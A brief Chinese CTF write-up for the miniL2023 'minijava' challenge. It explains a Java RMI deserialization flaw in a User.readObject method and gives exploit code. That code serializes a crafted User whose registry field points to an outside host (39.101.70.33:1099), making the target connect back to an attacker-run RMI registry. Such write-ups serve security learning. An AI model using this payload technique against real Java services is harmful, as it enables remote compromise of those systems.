RMI
RMI
RMI(Remote Method Invocation)即Java远程方法调用,RMI用于构建分布式应用程序,RMI实现了Java程序之间跨JVM的远程通信。
miniL2023 minijava
RMI服务端攻击客户端

看到这个依赖以为可以直接打通
后面看有SerialKiller,基本RMI,有反序列化的地方
接下来就看User的readObject方法
private void readObject(ObjectInputStream in) throws Exception {
int magic = in.readInt();
if (magic == 114514) {
String username1;
int age1;
Registry registry1;
Hello hello;
byte byte1 = in.readByte();
switch (byte1) {
case 1:
in.defaultReadObject();
return;
case 2:
in.defaultReadObject();
username1 = getUsername();
age1 = getAge();
registry1 = getRegistry();
if (!username1.equals("L_team"))
throw new Exception("Invalid username");
if (age1 != 18)
throw new Exception("Invalid age");
hello = (Hello)registry1.lookup("hello");
hello.world(this);
return;
}
throw new Exception("Invalid magic number");
}
}
连接了一个rmi,registry1可控
重写一个User的writeObject方法
out.writeInt(114514);
out.writeByte(2);
out.defaultWriteObject();
EXP:
mport java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Exploit {
public static void main(String[] args) throws Exception{
User user = new User("L_team", 18);
Registry registry = LocateRegistry.getRegistry("39.101.70.33", 1099);
setFieldValue("registry", registry, user);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(user);
byte[] bytes1 = byteArrayOutputStream.toByteArray();
String encode = java.util.Base64.getEncoder().encodeToString(bytes1);
System.out.println(encode);
}
public static void setFieldValue(String name, Object value, Object obj) throws Exception{
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
}